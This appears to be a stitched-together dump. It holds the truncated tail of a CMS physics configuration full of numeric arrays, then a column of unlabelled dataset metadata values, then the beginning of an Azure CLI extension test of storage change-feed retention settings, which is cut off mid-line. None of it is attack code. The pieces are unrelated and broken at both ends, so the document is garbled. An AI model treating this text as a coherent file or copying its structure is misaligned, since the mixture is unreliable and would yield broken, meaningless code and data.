5.7195568, 6.0055347, 6.1961866, 6.3868385, 6.5774904, 6.7681423, 6.9587942, 7.244772, 7.4354239, 7.6260758, 7.9120536, 8.1027055, 8.2933574, 8.5793353, 8.7699872, 9.055965, 9.2466169, 9.5325947, 9.7232466, 10.009224, 10.199876, 10.485854, 10.771832, 10.962484, 11.248462, 11.53444, 11.725092, 12.011069, 12.297047, 12.583025, 12.869003, 13.059655, 13.345633, 13.63161, 13.917588, 14.203566, 14.489544, 14.775522, 15.0615, 15.347478, 15.633455, 15.919433, 16.205411, 16.491389, 16.872693, 17.158671, 17.444648, 17.730626, 18.016604, 18.397908, 18.683886, 18.969864, 19.351167, 19.637145, 19.923123, 20.304427, 20.590405, 20.971708, 21.257686, 21.63899, 21.924968, 22.306272, 22.59225, 22.973553, 23.259531, 23.640835, 24.022139, 24.308117, 24.68942, 25.070724, 25.356702, 25.738006, 26.11931, 26.500613, 26.881917, 27.167895, 27.549199, 27.930503, 28.311806, 28.69311, 29.074414, 29.455718, 29.837022, 30.218325, 30.599629, 30.980933, 31.362237, 31.74354, 32.124844, 32.506148, 32.887452, 33.268756, 33.650059, 34.126689, 34.507993, 34.889297, 35.270601, 35.74723, 36.128534, 36.509838, 36.891142, 37.367771, 37.749075, 38.225705, 38.607009, 38.988312, 39.464942, 39.846246, 40.322876, 40.70418, 41.180809, 41.562113, 42.038743, 42.420047, 42.896676, 43.373306, 43.75461, 44.23124, 44.707869, 45.089173, 45.565803, 46.042433, 46.519062, 46.900366, 47.376996, 47.853626, 48.330255, 48.806885, 49.188189, 49.664819, 50.141448, 50.618078, 51.094708, 51.571338, 52.047967, 52.524597, 53.001227, 53.477856, 53.954486, 54.431116, 55.003072, 55.479701, 55.956331, 56.432961, 56.909591, 57.38622, 57.958176, 58.434806, 58.911435, 59.483391, 59.960021, 60.436651, 61.008606, 61.485236, 61.961866, 62.533821, 63.010451, 63.582407, 64.059037, 64.535666, 65.107622, 65.584252, 66.156207, 66.728163, 67.204793, 67.776749, 68.253378, 68.825334, 69.39729, 69.873919, 70.445875, 71.017831, 71.494461, 72.066416, 72.638372, 73.210328, 73.686957, 74.258913, 74.830869, 75.402824, 75.97478, 76.546736, 77.118691, 77.595321, 78.167277, 78.739233, 79.311188, 79.883144, 80.4551, 81.027055, 81.599011, 82.170967, 82.742922, 83.410204, 83.98216)+cms.vdouble(84.554115, 85.126071, 85.698027, 86.269982, 86.841938, 87.50922, 88.081175, 88.653131, 89.225087, 89.892368, 90.464324, 91.03628, 91.703561, 92.275517, 92.847473, 93.514754, 94.08671, 94.753992, 95.325947, 95.897903, 96.565185, 97.13714, 97.518444, 0, 0, 0.16959733, 0.254396, 0.33919467, 0.42399333, 0.59359067, 0.67838933, 0.763188, 0.84798667, 1.017584, 1.1023827, 1.27198, 1.3567787, 1.4415773, 1.6111747, 1.6959733, 1.8655707, 1.9503693, 2.1199667, 2.289564, 2.3743627, 2.54396, 2.7135573, 2.798356, 2.9679533, 3.1375507, 3.307148, 3.4767453, 3.561544, 3.7311413, 3.9007387, 4.070336, 4.2399333, 4.4095307, 4.579128, 4.7487253, 4.9183227, 5.08792, 5.342316, 5.5119133, 5.6815107, 5.851108, 6.0207053, 6.1903027, 6.4446987, 6.614296, 6.7838933, 7.0382893, 7.2078867, 7.377484, 7.63188, 7.8014773, 8.0558733, 8.2254707, 8.4798667, 8.649464, 8.90386, 9.0734573, 9.3278533, 9.5822493, 9.7518467, 10.006243, 10.260639, 10.430236, 10.684632, 10.939028, 11.193424, 11.44782, 11.617417, 11.871813, 12.126209, 12.380605, 12.635001, 12.889397, 13.143793, 13.398189, 13.652585, 13.906981, 14.161377, 14.415773, 14.670169, 15.009364, 15.26376, 15.518156, 15.772552, 16.026948, 16.366143, 16.620539, 16.874935, 17.214129, 17.468525, 17.722921, 18.062116, 18.316512, 18.655707, 18.910103, 19.249297, 19.503693, 19.842888, 20.097284, 20.436479, 20.690875, 21.030069, 21.369264, 21.62366, 21.962855, 22.302049, 22.556445, 22.89564, 23.234835, 23.574029, 23.913224, 24.16762, 24.506815, 24.846009, 25.185204, 25.524399, 25.863593, 26.202788, 26.541983, 26.881177, 27.220372, 27.559567, 27.898761, 28.237956, 28.577151, 28.916345, 29.25554, 29.594735, 29.933929, 30.357923, 30.697117, 31.036312, 31.375507, 31.7995, 32.138695, 32.477889, 32.817084, 33.241077, 33.580272, 34.004265, 34.34346, 34.682655, 35.106648, 35.445843, 35.869836, 36.209031, 36.633024, 36.972219, 37.396212, 37.735407, 38.1594, 38.583393, 38.922588, 39.346581, 39.770575, 40.109769, 40.533763, 40.957756, 41.381749, 41.720944, 42.144937, 42.568931, 42.992924, 43.416917, 43.756112, 44.180105, 44.604099, 45.028092, 45.452085, 45.876079, 46.300072, 46.724065, 47.148059, 47.572052, 47.996045, 48.420039, 48.928831, 49.352824, 49.776817, 50.200811, 50.624804, 51.048797, 51.557589, 51.981583, 52.405576, 52.914368, 53.338361, 53.762355, 54.271147, 54.69514, 55.119133, 55.627925, 56.051919, 56.560711, 56.984704, 57.408697, 57.917489, 58.341483, 58.850275, 59.359067, 59.78306, 60.291852, 60.715845, 61.224637, 61.733429, 62.157423, 62.666215, 63.175007, 63.599, 64.107792, 64.616584, 65.125376, 65.549369, 66.058161, 66.566953, 67.075745, 67.584537, 68.093329, 68.602121, 69.026115, 69.534907, 70.043699, 70.552491, 71.061283, 71.570075, 72.078867, 72.587659, 73.096451, 73.605243, 74.198833)+cms.vdouble(74.707625, 75.216417, 75.725209, 76.234001, 76.742793, 77.251585, 77.845176, 78.353968, 78.86276, 79.371552, 79.965143, 80.473935, 80.982727, 81.576317, 82.085109, 82.593901, 83.187492, 83.696284, 84.289875, 84.798667, 85.307459, 85.901049, 86.409841, 86.749036, 0, 0, 0.1473171, 0.22097565, 0.2946342, 0.36829274, 0.51560984, 0.58926839, 0.66292694, 0.73658549, 0.88390259, 0.95756113, 1.1048782, 1.1785368, 1.2521953, 1.3995124, 1.473171, 1.6204881, 1.6941466, 1.8414637, 1.9887808, 2.0624394, 2.2097565, 2.3570736, 2.4307321, 2.5780492, 2.7253663, 2.8726834, 3.0200005, 3.0936591, 3.2409761, 3.3882932, 3.5356103, 3.6829274, 3.8302445, 3.9775616, 4.1248787, 4.2721958, 4.4195129, 4.6404886, 4.7878057, 4.9351228, 5.0824399, 5.229757, 5.3770741, 5.5980497, 5.7453668, 5.8926839, 6.1136596, 6.2609766, 6.4082937, 6.6292694, 6.7765865, 6.9975621, 7.1448792, 7.3658549, 7.513172, 7.7341476, 7.8814647, 8.1024404, 8.323416, 8.4707331, 8.6917088, 8.9126844, 9.0600015, 9.2809772, 9.5019528, 9.7229284, 9.9439041, 10.091221, 10.312197, 10.533172, 10.754148, 10.975124, 11.196099, 11.417075, 11.638051, 11.859026, 12.080002, 12.300978, 12.521953, 12.742929, 13.037563, 13.258539, 13.479514, 13.70049, 13.921466, 14.2161, 14.437076, 14.658051, 14.952685, 15.173661, 15.394637, 15.689271, 15.910247, 16.204881, 16.425856, 16.720491, 16.941466, 17.2361, 17.457076, 17.75171, 17.972686, 18.26732, 18.561954, 18.78293, 19.077564, 19.372198, 19.593174, 19.887808, 20.182442, 20.477077, 20.771711, 20.992686, 21.287321, 21.581955, 21.876589, 22.171223, 22.465857, 22.760492, 23.055126, 23.34976, 23.644394, 23.939028, 24.233663, 24.528297, 24.822931, 25.117565, 25.412199, 25.706834, 26.001468, 26.36976, 26.664395, 26.959029, 27.253663, 27.621956, 27.91659, 28.211224, 28.505858, 28.874151, 29.168785, 29.537078, 29.831712, 30.126346, 30.494639, 30.789273, 31.157566, 31.4522, 31.820493, 32.115127, 32.48342, 32.778054, 33.146347, 33.51464, 33.809274, 34.177567, 34.545859, 34.840494, 35.208786, 35.577079, 35.945372, 36.240006, 36.608299, 36.976592, 37.344884, 37.713177, 38.007811, 38.376104, 38.744397, 39.112689, 39.480982, 39.849275, 40.217568, 40.58586, 40.954153, 41.322446, 41.690739, 42.059031, 42.500983, 42.869275, 43.237568, 43.605861, 43.974154, 44.342446, 44.784398, 45.15269, 45.520983, 45.962934, 46.331227, 46.69952, 47.141471, 47.509764, 47.878057, 48.320008, 48.688301, 49.130252, 49.498545, 49.866838, 50.308789, 50.677082, 51.119033, 51.560984, 51.929277, 52.371228, 52.739521, 53.181472, 53.623424, 53.991716, 54.433668, 54.875619, 55.243912, 55.685863, 56.127814, 56.569765, 56.938058, 57.38001, 57.821961, 58.263912, 58.705863, 59.147815, 59.589766, 59.958059, 60.40001, 60.841961, 61.283913, 61.725864, 62.167815, 62.609766, 63.051718, 63.493669, 63.93562)+cms.vdouble(64.45123, 64.893182, 65.335133, 65.777084, 66.219035, 66.660987, 67.102938, 67.618548, 68.060499, 68.50245, 68.944402, 69.460012, 69.901963, 70.343914, 70.859524, 71.301475, 71.743427, 72.259036, 72.700988, 73.216598, 73.658549, 74.1005, 74.61611, 75.058061, 75.352695, 0, 0, 0.12541802, 0.18812703, 0.25083604, 0.31354505, 0.43896307, 0.50167207, 0.56438108, 0.62709009, 0.75250811, 0.81521712, 0.94063514, 1.0033441, 1.0660532, 1.1914712, 1.2541802, 1.3795982, 1.4423072, 1.5677252, 1.6931433, 1.7558523, 1.8812703, 2.0066883, 2.0693973, 2.1948153, 2.3202333, 2.4456514, 2.5710694, 2.6337784, 2.7591964, 2.8846144, 3.0100324, 3.1354505, 3.2608685, 3.3862865, 3.5117045, 3.6371225, 3.7625406, 3.9506676, 4.0760856, 4.2015036, 4.3269216, 4.4523397, 4.5777577, 4.7658847, 4.8913027, 5.0167207, 5.2048478, 5.3302658, 5.4556838, 5.6438108, 5.7692289, 5.9573559, 6.0827739, 6.2709009, 6.396319, 6.584446, 6.709864, 6.897991, 7.0861181, 7.2115361, 7.3996631, 7.5877901, 7.7132081, 7.9013352, 8.0894622, 8.2775892, 8.4657163, 8.5911343, 8.7792613, 8.9673883, 9.1555154, 9.3436424, 9.5317694, 9.7198964, 9.9080235, 10.096151, 10.284278, 10.472405, 10.660532, 10.848659, 11.099495, 11.287622, 11.475749, 11.663876, 11.852003, 12.102839, 12.290966, 12.479093, 12.729929, 12.918056, 13.106183, 13.357019, 13.545146, 13.795982, 13.984109, 14.234945, 14.423072, 14.673908, 14.862035, 15.112871, 15.300998, 15.551834, 15.80267, 15.990797, 16.241633, 16.492469, 16.680596, 16.931433, 17.182269, 17.433105, 17.683941, 17.872068, 18.122904, 18.37374, 18.624576, 18.875412, 19.126248, 19.377084, 19.62792, 19.878756, 20.129592, 20.380428, 20.631264, 20.8821, 21.132936, 21.383772, 21.634608, 21.885444, 22.13628, 22.449825, 22.700661, 22.951497, 23.202333, 23.515878, 23.766715, 24.017551, 24.268387, 24.581932, 24.832768, 25.146313, 25.397149, 25.647985, 25.96153, 26.212366, 26.525911, 26.776747, 27.090292, 27.341128, 27.654673, 27.905509, 28.219054, 28.532599, 28.783435, 29.09698, 29.410525, 29.661361, 29.974906, 30.288452, 30.601997, 30.852833, 31.166378, 31.479923, 31.793468, 32.107013, 32.357849, 32.671394, 32.984939, 33.298484, 33.612029, 33.925574, 34.239119, 34.552664, 34.866209, 35.179754, 35.493299, 35.806844, 36.183098, 36.496643, 36.810188, 37.123734, 37.437279, 37.750824, 38.127078, 38.440623, 38.754168, 39.130422, 39.443967, 39.757512, 40.133766, 40.447311, 40.760856, 41.13711, 41.450655, 41.826909, 42.140454, 42.453999, 42.830253, 43.143798, 43.520052, 43.896307, 44.209852, 44.586106, 44.899651, 45.275905, 45.652159, 45.965704, 46.341958, 46.718212, 47.031757, 47.408011, 47.784265, 48.160519, 48.474064, 48.850318, 49.226572, 49.602826, 49.97908, 50.355334, 50.731589, 51.045134, 51.421388, 51.797642, 52.173896, 52.55015, 52.926404, 53.302658, 53.678912, 54.055166)+cms.vdouble(54.43142, 54.870383, 55.246637, 55.622891, 55.999145, 56.375399, 56.751653, 57.127907, 57.566871, 57.943125, 58.319379, 58.695633, 59.134596, 59.51085, 59.887104, 60.326067, 60.702321, 61.078575, 61.517538, 61.893792, 62.332755, 62.709009, 63.085263, 63.524226, 63.90048, 64.151317, 0, 0.13401506, 0.26803012, 0.40204518, 0.53606024, 0.67007529, 0.93810541, 1.0721205, 1.2061355, 1.3401506, 1.6081807, 1.7421958, 2.0102259, 2.1442409, 2.278256, 2.5462861, 2.6803012, 2.9483313, 3.0823464, 3.3503765, 3.6184066, 3.7524216, 4.0204518, 4.2884819, 4.4224969, 4.6905271, 4.9585572, 5.2265873, 5.4946174, 5.6286325, 5.8966626, 6.1646927, 6.4327228, 6.7007529, 6.9687831, 7.2368132, 7.5048433, 7.7728734, 8.0409035, 8.4429487, 8.7109788, 8.9790089, 9.2470391, 9.5150692, 9.7830993, 10.185144, 10.453175, 10.721205, 11.12325, 11.39128, 11.65931, 12.061355, 12.329385, 12.731431, 12.999461, 13.401506, 13.669536, 14.071581, 14.339611, 14.741656, 15.143702, 15.411732, 15.813777, 16.215822, 16.483852, 16.885897, 17.287943, 17.689988, 18.092033, 18.360063, 18.762108, 19.164153, 19.566199, 19.968244, 20.370289, 20.772334, 21.174379, 21.576424, 21.97847, 22.380515, 22.78256, 23.184605, 23.720665, 24.122711, 24.524756, 24.926801, 25.328846, 25.864906, 26.266952, 26.668997, 27.205057, 27.607102, 28.009147, 28.545208, 28.947253, 29.483313, 29.885358, 30.421418, 30.823464, 31.359524, 31.761569, 32.297629, 32.699674, 33.235735, 33.771795, 34.17384, 34.7099, 35.24596, 35.648006, 36.184066, 36.720126, 37.256186, 37.792247, 38.194292, 38.730352, 39.266412, 39.802472, 40.338533, 40.874593, 41.410653, 41.946713, 42.482774, 43.018834, 43.554894, 44.090954, 44.627015, 45.163075, 45.699135, 46.235195, 46.771256, 47.307316, 47.977391, 48.513451, 49.049512, 49.585572, 50.255647, 50.791707, 51.327768, 51.863828, 52.533903, 53.069963, 53.740039, 54.276099, 54.812159, 55.482234, 56.018295, 56.68837, 57.22443, 57.894505, 58.430566, 59.100641, 59.636701, 60.306776, 60.976852, 61.512912, 62.182987, 62.853063, 63.389123, 64.059198, 64.729273, 65.399349, 65.935409, 66.605484, 67.27556, 67.945635, 68.61571, 69.15177, 69.821846, 70.491921, 71.161996, 71.832072, 72.502147, 73.172222, 73.842297, 74.512373, 75.182448, 75.852523, 76.522599, 77.326689, 77.996764, 78.66684, 79.336915, 80.00699, 80.677065, 81.481156, 82.151231, 82.821306, 83.625397, 84.295472, 84.965547, 85.769638, 86.439713, 87.109788, 87.913879, 88.583954, 89.388044, 90.05812, 90.728195, 91.532285, 92.20236, 93.006451, 93.810541, 94.480616, 95.284707, 95.954782, 96.758872, 97.562963, 98.233038, 99.037128, 99.841219, 100.51129, 101.31538, 102.11947, 102.92357, 103.59364, 104.39773, 105.20182, 106.00591, 106.81, 107.61409, 108.41818, 109.08826, 109.89235, 110.69644, 111.50053, 112.30462, 113.10871, 113.9128, 114.71689)+cms.vdouble(115.52098, 116.32507, 117.26318, 118.06727, 118.87136, 119.67545, 120.47954, 121.28363, 122.08772, 123.02582, 123.82991, 124.634, 125.4381, 126.3762, 127.18029, 127.98438, 128.92249, 129.72658, 130.53067, 131.46877, 132.27286, 133.21097, 134.01506, 134.81915, 135.75725, 136.56134, 137.09741, 0, 0.10460836, 0.20921672, 0.31382508, 0.41843344, 0.5230418, 0.73225853, 0.83686689, 0.94147525, 1.0460836, 1.2553003, 1.3599087, 1.5691254, 1.6737338, 1.7783421, 1.9875589, 2.0921672, 2.3013839, 2.4059923, 2.615209, 2.8244257, 2.9290341, 3.1382508, 3.3474675, 3.4520759, 3.6612926, 3.8705094, 4.0797261, 4.2889428, 4.3935512, 4.6027679, 4.8119846, 5.0212013, 5.230418, 5.4396348, 5.6488515, 5.8580682, 6.0672849, 6.2765017, 6.5903267, 6.7995435, 7.0087602, 7.2179769, 7.4271936, 7.6364103, 7.9502354, 8.1594522, 8.3686689, 8.682494, 8.8917107, 9.1009274, 9.4147525, 9.6239692, 9.9377943, 10.147011, 10.460836, 10.670053, 10.983878, 11.193095, 11.50692, 11.820745, 12.029962, 12.343787, 12.657612, 12.866828, 13.180653, 13.494479, 13.808304, 14.122129, 14.331345, 14.645171, 14.958996, 15.272821, 15.586646, 15.900471, 16.214296, 16.528121, 16.841946, 17.155771, 17.469596, 17.783421, 18.097246, 18.51568, 18.829505, 19.14333, 19.457155, 19.77098, 20.189414, 20.503239, 20.817064, 21.235497, 21.549322, 21.863147, 22.281581, 22.595406, 23.013839, 23.327664, 23.746098, 24.059923, 24.478356, 24.792182, 25.210615, 25.52444, 25.942874, 26.361307, 26.675132, 27.093565, 27.511999, 27.825824, 28.244257, 28.662691, 29.081124, 29.499558, 29.813383, 30.231816, 30.65025, 31.068683, 31.487117, 31.90555, 32.323984, 32.742417, 33.16085, 33.579284, 33.997717, 34.416151, 34.834584, 35.253018, 35.671451, 36.089885, 36.508318, 36.926751, 37.449793, 37.868227, 38.28666, 38.705094, 39.228135, 39.646569, 40.065002, 40.483436, 41.006477, 41.424911, 41.947953, 42.366386, 42.78482, 43.307861, 43.726295, 44.249337, 44.66777, 45.190812, 45.609245, 46.132287, 46.550721, 47.073762, 47.596804, 48.015238, 48.538279, 49.061321, 49.479755, 50.002797, 50.525838, 51.04888, 51.467314, 51.990355, 52.513397, 53.036439, 53.559481, 53.977914, 54.500956, 55.023998, 55.54704, 56.070081, 56.593123, 57.116165, 57.639207, 58.162249, 58.68529, 59.208332, 59.731374, 60.359024, 60.882066, 61.405108, 61.92815, 62.451191, 62.974233, 63.601883, 64.124925, 64.647967, 65.275617, 65.798659, 66.321701, 66.949351, 67.472393, 67.995435, 68.623085, 69.146127, 69.773777, 70.296819, 70.81986, 71.447511, 71.970552, 72.598202, 73.225853, 73.748894, 74.376545, 74.899586, 75.527237, 76.154887, 76.677929, 77.305579, 77.933229, 78.456271, 79.083921, 79.711571, 80.339221, 80.862263, 81.489913, 82.117563, 82.745213, 83.372864, 84.000514, 84.628164, 85.151206, 85.778856, 86.406506, 87.034156, 87.661806, 88.289457, 88.917107)+cms.vdouble(89.544757, 90.172407, 90.800057, 91.532316, 92.159966, 92.787616, 93.415266, 94.042916, 94.670567, 95.298217, 96.030475, 96.658125, 97.285776, 97.913426, 98.645684, 99.273335, 99.900985, 100.63324, 101.26089, 101.88854, 102.6208, 103.24845, 103.98071, 104.60836, 105.23601, 105.96827, 106.59592, 107.01435, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113)+cms.vdouble(113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5)+cms.vdouble(113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112)+cms.vdouble(112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5)+cms.vdouble(112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5 ) )

1,772.330882

2,807

0.65068

53,334

241,037

2.940676

0.135842

0.00306

0.002448

0.001734

0.998636

0

0.738918

0.127545

241,037

135

2,808

1,785.459259

0.006886

0

0.938931

0

0.000104

0

1

0

false

0

0.007634

0

0.007634

0

null

0

1

0

1

0

1

0

1

0

null

0

11

807f76e8b311efe150bc2015bd0a2e90a39379dc

11,992

py

Python

src/storage-blob-preview/azext_storage_blob_preview/tests/latest/test_storage_account_scenarios.py

Mannan2812/azure-cli-extensions

e2b34efe23795f6db9c59100534a40f0813c3d95

[ "MIT" ]

2

2021-03-24T21:06:20.000Z

2021-03-24T21:07:58.000Z

src/storage-blob-preview/azext_storage_blob_preview/tests/latest/test_storage_account_scenarios.py

Mannan2812/azure-cli-extensions

e2b34efe23795f6db9c59100534a40f0813c3d95

[ "MIT" ]

3

2020-05-27T20:16:26.000Z

2020-07-23T19:46:49.000Z

src/storage-blob-preview/azext_storage_blob_preview/tests/latest/test_storage_account_scenarios.py

Mannan2812/azure-cli-extensions

e2b34efe23795f6db9c59100534a40f0813c3d95

[ "MIT" ]

5

2020-05-09T17:47:09.000Z

2020-10-01T19:52:06.000Z

# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- import os from azure.cli.testsdk import (ScenarioTest, LocalContextScenarioTest, JMESPathCheck, ResourceGroupPreparer, StorageAccountPreparer, api_version_constraint, live_only, LiveScenarioTest) from azure.cli.core.profiles import ResourceType from ..storage_test_util import StorageScenarioMixin from knack.util import CLIError from datetime import datetime, timedelta from azure_devtools.scenario_tests import AllowLargeResponse class BlobServicePropertiesTests(StorageScenarioMixin, ScenarioTest): @api_version_constraint(ResourceType.MGMT_STORAGE, min_api='2019-06-01') @ResourceGroupPreparer(name_prefix='cli_storage_account_update_change_feed') @StorageAccountPreparer(kind='StorageV2', name_prefix='clitest', location="eastus2euap") def test_storage_account_update_change_feed(self, resource_group, storage_account): self.kwargs.update({ 'sa': storage_account, 'rg': resource_group, 'cmd': 'storage account blob-service-properties update' }) from azure.cli.core.azclierror import InvalidArgumentValueError with self.assertRaises(InvalidArgumentValueError): self.cmd('{cmd} --enable-change-feed false --change-feed-retention-days 14600 -n {sa} -g {rg}') with self.assertRaises(InvalidArgumentValueError): self.cmd('{cmd} --change-feed-retention-days 1 -n {sa} -g {rg}') with self.assertRaises(InvalidArgumentValueError): self.cmd('{cmd} --enable-change-feed true --change-feed-retention-days -1 -n {sa} -g {rg}') with self.assertRaises(InvalidArgumentValueError): self.cmd('{cmd} --enable-change-feed true --change-feed-retention-days 0 -n {sa} -g {rg}') with self.assertRaises(InvalidArgumentValueError): self.cmd('{cmd} --enable-change-feed true --change-feed-retention-days 146001 -n {sa} -g {rg}') result = self.cmd('{cmd} --enable-change-feed true --change-feed-retention-days 1 -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['changeFeed']['enabled'], True) self.assertEqual(result['changeFeed']['retentionInDays'], 1) result = self.cmd('{cmd} --enable-change-feed true --change-feed-retention-days 100 -n {sa} -g 